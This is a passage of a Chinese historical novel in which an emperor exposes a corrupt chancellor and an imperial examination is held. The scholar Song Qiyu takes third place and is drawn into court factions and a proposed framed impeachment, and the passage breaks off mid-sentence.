銮舆刚过文德门,同泰帝突然叫停了仪仗。他板着脸跟白晨说:“都说王克明贪,难道他真的富可敌国吗?”白晨一时不知如何回答,只能干笑着说:“奴才愚钝,愿听陛下吩咐。”同泰帝不屑地一甩袖子,骂道:“你这奴才,真是笨得可以。你敢说王克明夫人真的不知道什么是象鼻鱼吗?这一定是王克明教她使的障眼法。用来蒙蔽蒙蔽皇后罢了。”白晨笑嘻嘻的说:“还是陛下圣明。”同泰帝摆手叫白晨近前,说道:“朕后天不朝,你去安排一下,叫人这样……朕要看看他是热汗出的多,还是冷汗出的多。”白晨躬身回道:“奴才遵旨。” 第三天晌午,一个自称岭南宣慰使师爷的人叩开了宰相府大门。在经过了一番交涉后,那师爷命两名壮汉抬着一坛美酒跟着自己进入了府内。须臾,两壮汉出来,其中一人快步走到街角向等候在那里的白晨耳语了几句。白晨转身来到旁边停着的马车前,深深一躬说:“主子,都安排好了。”“好啊,咱们进府瞅瞅去。”随着声音,车帘一挑,身穿便服的同泰帝从轿厢里钻了出来。旁边侍立的殿前军都指挥使赵义廷听到命令,带上四个人,先行冲到宰相府前叫门。王克明家的门吏打开大门趾高气扬地问:“什么事?你们是哪儿的?”赵义廷拿出虎头令牌在他脸前一晃,压低声音严厉地说:“不许声张,圣驾微服来访。”门吏被吓得目瞪口呆,跪倒在地,胡乱磕着头说:“小人恭迎吾皇。吾皇万岁,万万岁。”同泰帝并不答话,在先前进府的两名壮汉带领下径直走进了宰相府。 此时,王克明正在官帽厅低头把玩着几颗珍珠。他漫不经心地说:“我常听人说南珠晶润巨大,看来所言非虚。这一坛珠子个个都有半寸大小,都是从南海一百尺下采出来的吗?”他听来人不言声,便转脸看向那位师爷。当目光扫到门口的时候,王克明犹如受到雷击一般,身子不由自主地滑下了太师椅。他跪爬了几步,向站在门前的皇帝磕着头说:“微臣参见陛下。微臣有罪。”同泰帝走到厅中间,弯腰拾起了一颗从王克明手中掉落的珍珠,冷笑着说:“王相好兴致。朕来的不是时候呀!”王克明脸上渗出了细密的汗珠。他不住地磕头说:“陛下所言,臣无地自容。臣自知有罪,追悔莫及。臣只求陛下切不可因微臣所为气坏了龙体。”同泰帝走到正座坐下,依然笑眯眯地看着王克明,说道:“你都干什么了?能让朕气坏龙体?”王克明跪着转过身子,惊惧地说:“方才,岭南宣慰使派人向臣行贿,送上了这些珍珠,意图让微臣帮其谋取一个宰执职位。臣一时不查,贪心作祟,触犯了国法。臣不敢隐瞒,请陛下治罪。”同泰帝将南珠丢到王克明跟前,收起笑脸喝道:“王克明,你跟随朕多少年了?朕亏待过你吗?这样的行为,朕不是没有点过你吧!”王克明涕泪齐出,跪伏在地上,哽咽着说:“臣辜负圣恩,实在是龌龊小人。臣不求恩赦,愿立即辞去宰相职务,接受陛下责罚。”同泰帝继续说:“朕御极不过一年,正欲有一番作为,而你却拿着公器中饱私囊,甚失朕望。朕真想重办于你。但是,一则,朕仍顾念十几年辅佐襄协的君臣感情;二则,你还知道忠于朕,惧怕朕,且朕也说过,只要你勤勉办差,偶尔犯些小错,朕也能体谅;三则,你在众臣之中还算是个能臣;四则,若现在处置了你,天下人会说朕识人不明,用人不当。办你有损圣德,不办你有违国法,你把朕置于这尴尬境地,你心何忍?”王克明磕头出血,哭着说:“陛下对微臣的爱重之心,臣万死不能报其一。臣对天发誓,定当痛改前非,重新做人,为陛下为大周立功赎罪。”同泰帝缓和了一下语气说:“人非圣贤,谁能无过。只要你能改过自新,仍不失为朕的股肱大臣。这次,朕还放过你,并将这坛南珠连同这个送珠人都赏赐给你。珠子你尽可以慢慢玩赏,人吗就在你府上做个教习好了。”说完,同泰帝不等答话,起身大踏步地向外疾走,只留下失魂落魄的王克明跪在地上磕头谢恩。 出了宰相府,同泰帝对白晨说:“朕听说山西举子宋启愚已到京城。朕要给他一个大大的恩典,随朕来。”说完,同泰帝就带着白晨和赵义廷顺着汴河信步向前走去。夏天的汴河碧波荡漾,水面宽阔,大大小小的商船和货船航行其间,井然有序,还有不少舴艋舟在水面上来回穿梭,运送货品;高天白云之下,汴河两岸绿柳拂堤、杨槐成荫,掩映着远处的红桥金殿和近旁的勾栏瓦肆,风景煞是美丽。同泰帝悠闲地走着,偶尔驻足瞧瞧贩货的外国商队,看看渔人交易鱼鲜的热闹场面。他又到茶馆吃了些点心,听了几句戏子表演的杂谈戏语,心里还挺快活。眼见前方就是内河码头,赵义廷凑过来对同泰帝说:“陛下,码头这一片三教九流的人都有,秩序混乱,陛下要当心呀。”游兴正高的同泰帝摆摆手说:“不妨事,正好看看民间风物,比在宫里待着有趣得多。”赵义廷转脸示意手下警卫散开,远远地保护皇帝的安全。 这时,从码头上来了一支车队,四个前导骑兵横冲直撞地进了街道。他们一边吆喝着,一边用马鞭驱赶着行人,态度十分蛮横,造成多位路人摔倒或受伤。赵义廷怕冲撞了同泰帝,赶紧跑到道路中央,高声喝道:“站住!京畿重地,天子脚下,岂容你等撒野!”几个前导兵见这汉子相貌堂堂、穿戴不俗、威武健壮,不敢小看,急忙勒住马匹,并向车内的主人报告。只听头车里传出一个年轻男子的声音:“有人敢拦阻就赶开他,这要是在绥州,我能直接宰了他。”旋即,一个苍老的声音传出:“慢着。你这娃娃,年少轻狂,这里是京师,不敢造次。”接着,一位老翁掀开车帘,吩咐说:“对拦阻之人说话客气些,我们的车队慢慢行进也就是了。”在与先导骑兵交涉之后,赵义廷闪到了路旁,并用身子护着皇帝和白晨。同泰帝站在墙边,当那车队从身前开过时,他隐约听见车里人说:“孙儿啊,你是来参加恩科的,我跟你叔爷爷已经打好招呼了,只要……”同泰帝转脸对白晨说:“你去查一查,他们是什么人。特以放肆了些。”恰在此时,一辆香车从同泰帝眼前经过,车中一绝色妙人挑起窗帘向外瞟了几眼,顾盼之间流光溢彩。同泰帝只觉得自己的三魂被勾走了俩,目光象被香车吸住了一般,直到车帐走远,他才回过神来。白晨瞧见皇帝眼馋的样子,心中好笑,可又不敢乐,随即说道:“奴才一定将这些人的底细查清楚。刚才,奴才发现他们的车前插着一面陈字旗,或许跟大都督有关系。”同泰帝怕白晨不完全理解自己的意图,又补充说:“再查一查香车里面坐的是哪位小姐。”白晨恭敬地回道:“奴才明白。”同泰帝突然有些恨恨地说:“这个陈松昌,当年就把朕当小孩子看,现在立了大功封了元帅就更跋扈了,朕早晚……”白晨赶紧轻轻叫了一声主子。同泰帝立马醒悟,干咳了两声,又将后面的话咽了回去。 由内河码头向南拐,有一座陕州客栈。其门前除了挂着店面的招牌和酒幌之外,还悬着一块红底金字的木牌,上书“举子临时第”几个大字。同泰帝笑着对白晨和赵义廷说:“你们知道这家客栈与一般客栈有何不同吗?”白晨佯装不知,说道:“奴才愚钝。”同泰帝说:“先皇曾立下规矩,每临大比,都由礼部在京师选择一些客栈,专门接待进京赶考的举子,费用由国库开销,被选中的店家可在门头张挂金字招牌,以示荣光。走,朕带你们进去看看。”二人忙笑嘻嘻地应承,跟着同泰帝走进了陕州客栈。 客栈老板正坐在柜台后面打盹,发现有人进门,又看来人衣着光鲜、器宇不凡,赶忙陪着笑迎出来,拱手作揖说:“几位先生是进京的举子吧,要投宿还是访友啊?”同泰帝说:“掌柜的,是否有位姓宋的山西举子住在这里啊?”老板笑逐颜开地说:“您说的是大同来的宋启愚公子吧。那可是位豪侠仗义的主,不但有学问,还和气、爱交朋友。他在后院北头天字号房住。小人这就给您几位带路。”正说话间,从店外闯进两个满身酒气的浪荡公子,他们每人搂着两个女人。这些女人举止轻浮、言语轻佻,一看就不是正经人家的姑娘。客栈老板赶紧上去拦住,并呼叫店小二说:“小二,来扶严公子、高公子回房间休息。”其中一个醉汉蹒跚着脚步,大着舌头说:“谁要你们……扶。本公子吃花酒还在……在兴头上,等回屋……嘿嘿嘿……我还得让她俩……嘿嘿嘿嘿……”店老板向其作了个揖说:“高公子,您是来赶考的,朝廷有明令,禁止举子宿妓狎娼。而且,小店是礼部挂牌的举子临时第,不能接待几位姑娘,请公子送她们回去。”那高公子听了,张口就骂:“你不让住,你算个……算个什么东西,本公子……取个乐子……也要你管。”店老板还是陪着笑说:“二位公子,实在对不住,不是小的不让,是朝廷有规定……”还没等他说完,店老板的脸上就挨了重重的一巴掌。那高公子乜斜着眼睛,恶狠狠地说:“你……找死吗?我爹是……徐州镇守使,他爹是,是那个……兖州知州,过两年……呕,呕,哇……”这个高公子喝酒上了头,还没说完就呕吐了起来。客栈前厅狼藉满地,臭味扑鼻,甚至秽物还溅到了同泰帝的靴子上。同泰帝十分不悦,铁青着脸对赵义廷说:“把这两个东西给我轰出去。告诉礼部和刑部对待这等违规考生一律赶出京城,遣返原籍。”赵义廷领命,向客栈外面招呼一声。几个便装军士冲进店内,将两个醉汉连同几名娼妓生拉硬拽地拖了出去。同泰帝心里觉得晦气,又见有人围观,随决定不再接见宋启愚。他摆手对白晨说:“今天有些累了,我们回去吧。过后,你去见见他好了。” 次日酉时,同泰帝回到养居殿。白晨命宫女伺候皇帝宽衣净面,自己则奉上茶水。待同泰帝坐上软塌,他才笑嘻嘻地走到皇帝面前说:“主子,昨日您命奴才查的人,奴才已经查清楚了。”同泰帝漫不经心地说:“奏来。”白晨说:“那车队属于绥州镇守使陈松明。他膝下只有一孙,此次他是专门陪同孙子进京赶考的。”同泰帝嘲讽道:“芝麻绿豆一样的小官,到了京城还敢摆谱。”白晨继续奏道:“他的官职虽小,可他的兄弟却是陈松昌大都督,所以才如此嚣张。”同泰帝喝了一口茶,慢慢说道:“原来如此。”白晨又说:“奴才还查问了另外几人。”同泰帝的语气急迫起来,“怎么样,那妙人是谁?”白晨有意吊吊皇帝的胃口,不紧不慢地说:“那两个醉汉一个是徐州镇守使高……”同泰帝伸脚在白晨身上踢了一下,说道:“你个狗奴才。朕问的不是那两个。”白晨故作犹疑地说:“嗷,对,那香车里的女子,陛下,您听了可不要生气呀!”同泰帝凑近了问:“你赶快说。”白晨说道:“她叫金平儿,是绥州米脂人,妙龄十七。她父亲原为小吏,去年因触犯国法,被投进狱中,今年年初,陈松明以释放其父为条件将她纳为小妾。这次进京,陈松明舍不得她,也将她带入了汴梁。”同泰帝大怒:“暴殄天物!那个老东西年过古稀,行将就木,如何能消受这样的艳福。”白晨换了副笑脸对同泰帝说:“陛下息怒。奴才昨日调查清楚后,去了趟静福公主府,请公主出面将金平儿要了出来。那女子现已在公主府安置。”同泰帝喜出望外,笑着说:“你的差事办得不错,等待恩赏吧。” 第八回2 恩科似梦 自打到了京城,宋启愚不是在客栈埋头读书,便是与举子们以文会友。童道生等几名秀才也大体如此,唯有曹可用日日无事,甚感无聊。宋启愚没有时间陪他,便叫他到京城的商号铺户了解各类货品的优劣和价格情况,以备日后经商营业之需。曹可用每日吃罢了早饭,带足了银子,就出门逛街询价,看货采买,饿了就点些爱吃的餐食喂饱肚皮,累了就找间茶馆听书休息,倒也逍遥自在。 这一日,曹可用来到城北大街一带,他发现这里铺户的档次明显比城里其它地方高出一大截,不但房院高大,门脸气派,装饰豪华,就连店名也起得非常响亮。只是这些店铺虽然都敞着大门,但每家都门可罗雀,生意清淡。出于好奇,曹可用迈步走进了一家名为“东海一库”的商铺。但见一架巨屏迎门而立,上绘海景图样,转过屏风,相对有两溜柜台,柜台后面各坐了两三个伙计,但却没有摆放任何货物。一个伙计见有人进来,很不客气地说:“唉唉唉,这边来。是要买还是卖呀?”曹可用一头雾水,完全不明白,问道:“不知贵店做何生意?”那伙计打量了曹可用几眼,说道:“原来是个生瓜蛋儿。告诉你我们是官家买卖,只做盐卤生意,也只接待大客户,你这样的,还是请吧。”说着,那伙计比了个向外轰的手势。看着眼前的势力小人,曹可用恨不得一拳打烂他的鼻子。他忍着怒气,说道:“敢问什么人算大客户?”伙计说:“单次买卖纹银五百两以上,每年一千两以上。”曹可用一笑,说道:“还以为多大呢,不就是五百两吗。生意跟谁谈?”伙计听后,吃了一惊。他没想到眼前的粗汉竟如此富有,随变换了一幅笑脸,说道:“大爷,小的这就引您到后堂跟先生们谈。” 在后堂,有位账房先生接待了曹可用,他介绍了各种盐和盐卤的价格、产地,并带曹可用参观了后面的几个盐仓。曹可用这次可是开了眼界。他没想到盐业生意如此赚钱。他更没想到生意还有这种做法。回到后堂,重新落座,账房先生说:“曹老板,若要贩卖盐这种东西,你只能跟本店合作,因为朝廷早已施行‘禁榷’制度,这种物资个人是不能买卖的。说得直白些,本店就代表朝廷。你若能现在敲定,当然更好,若还有疑虑,你尽可以再了解一番,打听打听……” 从这天开始,曹可用就上了心。他每日都要到盐行转一转,在附近呆一呆,遇到前来交易的客商还要想尽办法跟他们接近、交流,请客送礼也是常有的事情。 宋启愚发现近一段时间曹可用总是坐卧不宁、早出晚归且经常喝酒,花钱也有些大手大脚。因怕曹可用沾染上不好的习气,宋启愚就在一天掌灯后,把曹可用叫到房间问话。宋启愚让曹可用坐下,给他倒了杯茶,笑着说:“曹兄这几日玩的可好?都去了哪些地方?”曹可用咧嘴一笑说:“汴梁城确实大,好玩的地方也不少,汴河沿岸,大相国寺,鼓楼这些地方我都去遍了。前些时,你不是让我转转京城的商号铺户吗。我还真是没少逛,也费了不少心思。我还记的有账,回屋拿来让你看看。”说着,曹可用就要起身回去拿账本。宋启愚把他摁住说:“不急。我看你最近经常半夜醉醺醺地回来,这对身体可不好呀。”曹可用不好意思的挠着头说:“嘿,吵到你们了。对不住啊。那帮有钱的老板不好交,请吃饭不说,有时候还得喝花酒,要不然他们不告诉你呀。”宋启愚心里“咯噔”一下,心说曹可用果然沾染上了坏毛病,随关切的说:“可用,咱们可是本分人,虽然不缺钱用,但嫖跟赌这种无底洞咱可碰不得呀。”曹可用一愣,旋即开怀大笑起来:“哈哈哈哈……好兄弟你想到哪去了。咱不是那样的人。我是了解到有些生意是朝廷‘禁榷’的,也就是说只有国家能做这种买卖。我……我还是把账本给你拿来,再跟你好好解释吧,那样说得更清楚。” 等曹可用把在东海一库遭遇到的事情讲清楚之后,宋启愚凝着眉头想了好一会儿,才说:“以前,我们在光裕寨也贩过盐,只是每次只有千把斤,每斤的价钱在二百文到三百文之间,对于百姓而言确实贵了些,故而寨子里每年都会向寨民发些盐卤。照你所说,京城的盐价仅为一百四十文,而东海一库的收购价低至两文,这里面的利润之大,实在吓人。早些年,我曾读过一本《资货古今考》,对其中盐铁专营一篇难以理解,今日听了你的话,我茅塞顿开,有些明白了。”曹可用说:“我这两天一直在考虑,若能绕过东海一库直接向盐井买盐,这可是百倍的利呀。”宋启愚急忙制止住他说:“千万不可,务必打消这种念头。朝廷已经颁布的禁榷绝不能违反,否则,你我只能白白地搭进身家性命。不过,各地的价差倒是可以利用。过几天,我若有空可以跟着你到市场上了解一下,也可为光裕寨拓宽经营门路……” 到了六月末,全国的举子陆续到达了京城。文人相聚,胜友如云,茶肆酒楼到处都能见到文友唱和的场景。又过了一日,同泰帝正式颁旨,任命参知政事冯体仁为本次秋闱的主考,东宫侍讲学士关知信为副主考。一时间,京城的达官显贵、绅商巨贾纷纷花费巨资请托走动,希望能够打通关节,让子侄金榜得中。 七月初五这天,朝会结束后,同泰帝下了御阶,欲回后面的养德殿。他似乎想起了什么,突然转身,面向群臣,和蔼地说:“一年来,众位卿家辅佐朕治理国家,平定外患。朕常想,一个国家的强大离不开忠臣良将。今年正值恩科大比,众位爱卿尽可将自家门下有能力者推荐给朕。朕将会在伦才之外,另行恩荫。”殿内的臣僚听到圣上关爱的话语,无不感动。他们再次跪倒,山呼万岁,发自内心地感谢这位皇帝。 此后的一段时间,同泰帝每天除了处理日常政务之外,还会专门抽出半个时辰,阅览各种荐举奏折。令同泰帝震惊的是,没几天功夫,被自己誊录的等待恩荫名单竟然有数百人之多。同泰帝十分光火,待养德殿内没有外人,他狠狠地骂道:“这帮弄权害民的小人,还想世代占据高位,真是痴心妄想。凡是被列入荐举名单的人,朕一个都不用,教这些朝堂上的蠹虫空欢喜一场!”白晨侍立在侧,躬身不语,只当没有听见。 从接到学差之日开始,冯体仁和关知信就异常忙碌。他们既要征调考官和工作人员,又要制定本次考试的规章条例,还要准备考场并协调各部院,保障考试顺利进行,最重要的是他们要摸清楚皇帝意图,不能有违圣意。好在这两人都与科举和文人久打交道,到了八月中旬,前期的准备工作基本就绪。 这一日,冯体仁自己在政事堂当值。大太监白晨替皇帝前来索要当天的重要折本。冯体仁先将早已备好的文件双手奉上,又笑嘻嘻地说:“白公公留步。下官想请公公坐下吃杯茶,歇息片刻。”白晨知道他一定有事相求,故意装做很着急的样子说:“不必,咱家得赶紧回去,皇上还等着看折子呢。”冯体仁施了一躬说:“下官有重要事情向公公请教。还请公公驻足片刻,不会耽误太长时间。”白晨这才转身,坐到上垂手的椅子上,说道:“你们哪,就喜欢给咱家找麻烦。咱们万岁爷是何等聪明睿智,你们的那点小心思还能看不明白吗?”冯体仁一边微笑应承着,一边从袖子里摸出一个红色小锦盒,恭恭敬敬地呈递给白晨说:“公公所言极是。前些日子,听公公说身上总有胃寒酸胀的毛病,正巧下官家中祖传了一颗养和珠。不瞒公公说,家父早年也有胃寒症状,自佩戴此珠后不到半年便完全康复,且食欲比之前还增加了不少。下官现将此珠赠与公公,望公公笑纳。”白晨把脸一沉说:“冯大人,你身为宰执,应该严守法度,怎能如此行事呢?再说,此物太过贵重,咱家岂好收下。”冯体仁一笑说:“公公不要误会。此物乃下官祖上所留,值不了几两银子。况且,是赠与公公治病所用。待公公身体康复,若不喜欢,还与下官便是。借物医病,不违国法,还请公公赏收。”白晨这才接过锦盒,打开观瞧,只见盒内躺着一颗大有寸许发着温润绿光的宝珠。白晨心中喜欢,装模作样地说:“既然,冯大人一片诚心,那我就先用几天。冯大人有何疑虑只管道来。”冯体仁压低声音问道:“下官自打接了学差,夙兴夜寐,竭尽所能,现已将恩科考试基本安排妥当。但下官对录取事宜,特别是进士人数,进士出身、分布等等细节还要向公公请教。”白晨也压低声音说:“冯大人伶俐,竟然在这次恩荫中没有举荐任何人,自然也该知道圣人门徒是有定数的。”冯体仁又向白晨凑近了些,说道:“公公的意思是,皇上不愿恩荫那些官宦子弟?”白晨向椅背上一靠,把玩着那颗珠子,说道:“冯大人,这珠子,不错。”冯体仁还想再确认一下,又问道:“可是,下官怎样知道某考生是谁人的门下呢?”白晨缓缓起身,一边向外走,一边说:“让礼部对考生再次登记,写明籍贯、出身、荐举人等项,就说是为了核对考生身份,防止替考,这不是很简单的事情吗!”快走到门口的时候,白晨停下又说:“有一个山西举子叫宋启愚,是皇上要起用的人,冯大人务必取中。”冯体仁大喜过望,向白晨又是一躬说:“多谢公公指点。公公慢走。” 在冯体仁和关知信的主持下,恩科大比进行的非常顺利,共选出新科进士七十二名。当名单上报给皇帝后,同泰帝十分满意,当即加盖了御玺,命放榜公布,并下令将于九月十五日,在宣德殿举行殿试,由皇帝亲自确定科甲名次。 参加科考的三千多名考生得知放榜,个个满怀期待,纷纷向宣德门聚来。宋启愚、曹可用和光裕寨的几名秀才也匆匆出了客栈,往御街方向走去。当宋启愚一行到达宣德门时,前面已经聚集了几百人。举子们昂首屏息,仔细观瞧,希望在皇榜上找到自己的名字。俄顷,有人突然大呼:“中了!我中了!你们看,那是我!皇恩浩荡,祖上显灵,师门保佑……”那人笑着,叫着,近似癫狂地拨开人群向外冲去。旋即,又有人喊道:“我中了!我中进士了!寒窗二十载,终于出头了。”那人说着就跪在地上,向着皇宫方向磕起头来。不知不觉间,那人已是满脸泪痕。更多的人则是在反复细瞧了多遍,确认自己名落孙山后,摇头叹息着,脸色阴沉着往外退去。曹可用腿脚快,三下两下挤到了最前面。他刚看了第一排人名,就大叫起来:“宣道,宣道,你考上了!你们都快过来呀!”他又挤出人群,拉着宋启愚二次挤回来,指着皇榜最上面一行正中间的位置说:“宣道,快看,你的名字在这儿。”宋启愚望着自己的名字,也很高兴。他克制着自己又说:“再看看,有没有其他同乡考中。”很快,他们又在皇榜的最后一行找到了童道生的名字,而其他几人则榜上无名。宋启愚抚着余允文的背,安慰众人道:“余先生,列位先生,莫灰心,再等几天,说不定还有补录的机会。” 殿试前三天,冯体仁和关知信让礼部把待考进士统一安排在驿馆居住,并派官员专门教给他们见驾的礼仪。嗣后,两位主考官还亲到驿馆看望众人,鼓励学子们认真备考,切莫紧张云云。冯体仁也借机对宋启愚等几名考生表达了关怀与爱重之心。 殿试当天,冯、关二人寅时便组织考生进宣德门,在宣德殿外等候。待到卯时,威风凛凛的皇家仪仗从乾德门方向开来。冯体仁高呼一声:“皇上驾到。众臣及新科进士参拜圣驾。”喊毕,冯体仁带领着全体考生一起跪地扣头。考生们齐声高喊:“吾皇万岁,万岁,万万岁!”在这山呼声中,身穿皇帝冠冕的同泰帝下了銮舆。他微笑着对臣僚们说:“众卿平身。”接着,他又向前走了几步,说道:“众位学子,你们面前的这座宣德殿是朕每日听朝理政的地方。但今天,这里是你们的比赛场,故而,朕将在这里目送尔等先行入殿,希望你们运用平生所学,替朝廷,替朕做出一篇好文章来。”在场的考生原本就已经很激动了,现在听到皇帝殷切的话语,感受着皇帝诚挚的关怀,个个心潮澎湃,泪湿衣襟。 待考生们入殿完毕,同泰帝才大踏步地走进宣德殿。白晨高喊道:“陛下升座,众臣参拜。”在场的人全都就地跪倒,向皇帝行了三跪九叩首大礼并山呼万岁。同泰帝开口说:“众卿平身。进士归座。”进士们称谢后,坐到了各自的位置上。冯体仁和关知信趋步来到御阶前,跪倒磕头说:“臣二人奉圣旨主考今次恩科,共选出新科进士七十二名,现皆到齐。请陛下准予殿试并御赐考题。”同泰帝朗声说道:“二位主考平身。殿试开始。朕赐题‘相士烈烈,海外有截’。”冯体仁转身,面向众考生大声宣布道:“相士烈烈,海外有截。”学子们听题后,有的喜上眉梢,有的低头思索,还有个别的面露难色。宋启愚一边整理文房用具一边考虑文章的架构、立意和典故。原来呀,这句词出自《诗经》,意思是商朝有个叫相士的国君,非常有本事,在他的英明治理下,海外的很多国家都敬服商朝,愿意向商朝臣服。联想到自己这些年的经历和国家社会的种种变迁,宋启愚的思路渐渐清晰了起来。他提起毛笔,在砚台里沾满了墨汁,开始奋笔疾书。同泰帝见考生们已经开始做文,就命太监在御阶一侧设了座位,让冯体仁等考官坐下监考。他本人则信步走下御阶,巡视考生们的答题状况。 天近午时,陆续有考生跪到御阶前,呈送做好的考卷。宋启愚将自己做的文章又仔细审阅了一遍,觉得没有错漏,便也交了卷。童道生偷眼看了看左右,殿内的考生只剩下几个人。一个没留神,他将墨渍滴在了卷子上。他赶忙用衣袖去揩,可还是留下了一个大大的墨点。童道生心里着急,痰液上涌,剧烈地咳嗽起来。皇帝走到童道生案前,示意太监送上茶来,和蔼言道:“喝吧,朕赏你的。”童道生离座跪倒,双手接过茶碗,轻轻呷了一口,又将茶碗奉还说:“臣谢陛下关爱。”同泰帝看这考生年纪不大,随发问道:“你贵庚几何?”童道生磕了个头说:“劳陛下动问,臣今年十六岁。”同泰帝微微笑了笑说:“小小年纪便有如此文采,实属不易。文章慢慢做,不要着急。”同泰帝回到御阶前,低声问冯体仁:“我朝先前录取的进士,谁人年纪最小?”冯体仁想了想说:“先帝曾录取十六岁的魏柄忠,位列三甲榜尾。”同泰帝缓步登上御阶说:“殿试再延长半个时辰,让他们安心把文章做完。” 殿试结束已是未初时分,同泰帝命宫人送来简单的饭食,又对冯体仁等几名阅卷官说:“用完午膳,还要请你们辛苦一番,帮朕把科甲的名次定下来。你们可愿意?”几位官员当然不敢表示异议,在匆匆用过饭之后,便开始认真地分阅试卷,判定等次,并将其中被批为卓异的卷子呈送皇帝御览。 过了将近两个时辰,冯体仁将阅卷官们判定为最优的十二人名单跪送御前,请皇帝圈出及第名次。同泰帝再次比较了这十二篇文章的优劣,最终判定:今科第一名状元为山东登莱府陆祥楠;第二名榜眼为淮南扬州府文泰;第三名探花为山西大同府宋启愚。这三人被列为一甲,赐进士及第,准予在京夸官三日;又列其后二十四人为二甲,赐进士出身;再列后面四十五人为三甲,赐同进士出身。同泰帝还特意从末卷中捡出童道生的试卷,对众人说:“先皇拔擢魏柄忠排名三甲榜尾,若朕今日取童道生为三甲魁星,那么,千百年后,两代圣君提携少年的故事将不失为一段佳话啊。故而,朕特旨定童道生为三甲第一名。”众臣闻言,皆跪伏于地,口称:“陛下圣明。臣等遵旨。” 两天后,礼部遵照圣旨,给陆祥楠、文泰和宋启愚举行了盛大的夸官仪式。春风得意的宋启愚身穿锦袍,腰系玉带,披红戴彩,跨骑大马,领受着天下学子的顶礼膜拜,享有着沿途官民的歌颂欢呼。他犹如置身幻境,甚至有了率领十万大军踏破敌国凯旋的错觉。 第九回1 迷茫的探花郎 按照朝廷惯例,新科进士都要先入翰林院学习半年,然后再根据考评结果和各自特长,出任相应的官职。因此,状元陆祥楠被授予从六品修撰;榜眼文泰和探花宋启愚被授予正七品编修;其余进士均被授予从七品检讨入翰林院当差。为了方便,宋启愚在延庆街上租下了一处小院,与童、曹两弟兄共同居住。 坐落于观前街的翰林院是一座布局规整的五进院落。从登瀛门入,首先到达讲习堂,这里是翰林们讲学的地方。两边配套的房屋为掌院学士和侍读、侍讲们的办公地。穿过围廊有一间过厅,供奉着孔孟先贤,左右各有多间房舍,是修撰、编修、待招等人的办公场所。再后一重为内堂,坐北朝南,设有御座,专供皇帝临幸使用。内堂后面是藏书楼和善本库,储存有历代编撰的巨量图书。那里很快成为了学子们最爱去的地方。院子的最后一重为翰林花园,内有亭榭数间,碧水一湾,可供翰林们读书休闲、静心思考。七十二名新翰林徜徉其间,听课、读书、研习、讨论,当然,也少不了结诗社,凑酒局等等娱乐活动,大家很快便相熟起来。宋启愚与陆祥楠、朱昌海、冯肖文、金杰、陈靖辉、付云瑞要好。童道生与张文海、谭琴交厚。平静快活的日子一晃过去了两个多月,翰林们也基本上将朝廷官秩、法令、各部院职能、各司道责任了解清楚。 这一日掌灯之后,谭琴悄悄来到宋、童的寓所。宋启愚和童道生各自撂下书本,高高兴兴地出来迎接这位同年。宋启愚拱手示意说:“谭兄,好多天不来了,刚才,再造还提起你咧。”童道生也拱手说:“谭兄,里面请吧。”说着,童道生就抓着谭琴的胳膊往院里让。童道生边走边问:“这些日子,只要掌院学士讲罢了学,就看不见你的人影了。你上哪儿逍遥去了?”谭琴笑着说:“你小小年纪,知道什么是逍遥?”宋启愚则喊着曹可用:“可用,谭检讨来了。烧些水泡茶来,再把昨日买的枣子多洗些,拿给谭先生尝尝。”待进屋坐定,宋启愚仔细端详谭琴,只见这位先生二十出头的年纪,身材挺拔,方面阔目,长得一表人才。宋启愚赞叹道:“若论仪表,谭兄乃我辈翘楚呀!”谭琴说:“宣道兄取笑了。您宋编修才是我们这些检讨学习的榜样。”等曹可用上了茶和果品,谭琴也没客气,嚼了个枣子说:“还挺甜。朱昌海他们今天没来吗?”童道生说:“朱昌海、金杰和冯肖文迷上了善本库里的古书,每日都要借上几本,彻夜研读,估计现在正钻故纸堆呢。付云瑞吗,就更不会来了,刑部郎中孔大人看上了他,想招他为婿,说不定,现在正在孔大人府上言好事呢!”几个人听了,都哈哈大笑起来。谭琴收起笑容说:“不瞒你们说,在下也有好事。”童道生好奇地问:“快说说,什么好事?”谭琴接着说:“二位仁兄莫见笑。你们也知道我与陈大都督是同乡。前些时,陈都督邀我过府宴饮,其间,都督向我引见了他的孙女,欲配我为妻。”童道生还没有完全摆脱小孩子心性,兴冲冲地调侃道:“那你不是攀了高枝了。陈都督的孙女是不是美若天仙呀?”谭琴笑笑说:“长得确实不赖,我开始也很满意。不过……”谭琴犹豫了一下,接着说:“你们还不知道吧,朝里很快就要变天了。”宋启愚摇头说:“我等确实不知,愿听详情。”谭琴说:“你们可别小看咱们这些同年,一个个伶俐着呢。陆祥楠经常到王相府上走动;张文海和汪伯彦跟使相张大人处得很近;李文尊跟从刘枢密使;楚仁杰巴结赵相;那个文泰最过分,他直接搭上了慈宁宫大太监白宁的关系。你们两个就没想想,怎么经营各自的前程?”宋启愚觉得谭琴心思很深,先提起茶壶给他续上水,慢慢说道:“我等下臣只要忠于皇上,一心为国,勉力办差,还怕没有前程吗?”童道生也说:“是啊。读好书,做好人,办好事,忧心社稷,顾念百姓,孔圣人不是一直这样教育我们吗?”谭琴呵呵笑了起来,摇着头说:“二位仁兄,圣人之言自然没错,但若死板硬套就太迂腐了。皇权至高无上且不容质疑,你我这样的小官在短期之内,根本不可能入皇帝法眼;而那些市井小民无权无势且难出苦海,我等也不需要看他们的脸色;故而,我们得以进阶的道路只有结好上官。唐朝宰相李林甫说‘必将权柄交予可靠之人’。其实,历朝历代的高官又有谁不是这样做的呢?他们不都是牢牢把控着权力,再将一部分好处出让给自己相信的人吗!”宋启愚看童道生的脸色有些难看,知道他受不了这样的论调,就端起果盘递到童道生面前说:“再造,吃些枣子。你我初入仕途要多听、多看、多学呀。”谭琴也感觉自己说的有些露骨,自我安慰说:“宣道兄说的对。再造,咱们是朋友,我才敢如此推心置腹,你可别想歪了。”宋启愚问:“其实,巴结上官也是通例,不能怪到你头上。可你为什么说朝里要变天了呢?”谭琴昂起头说:“宣道兄算是问到点子上了。我观朝中大臣,聪明者莫过冯相。所以,恩科大比后,我一直跟冯相走得很近,他也表示要栽培于我。前几日,冯相单独宴请了在下,交给我一项重要的任务。我怕自己能力有限,才来找二位仁兄商量,不知二位是否愿意帮忙?”宋启愚又给他添了些茶,说:“你说说看。”谭琴压低了声音说:“当今圣上早有罢黜陈松昌之意,只缺少一个理由。冯相让我告发陈松昌的二哥陈松骏贪赃枉法,并且准备了全套证据。我第一时间就想到了你们二位,若咱们联名弹劾陈松骏,那么陈松昌必然倒台……”想起当初自己家破人亡的悲惨境遇,又想到陈松昌曾经立过赫赫战功,再看谭琴为了邀功不惜迫害他人的丑恶嘴脸,童道生再也压抑不住心中的怒火。他拍案而起,怒斥道:“姓谭的,枉我把你当成正人君子,你原来如此卑劣下作。你明明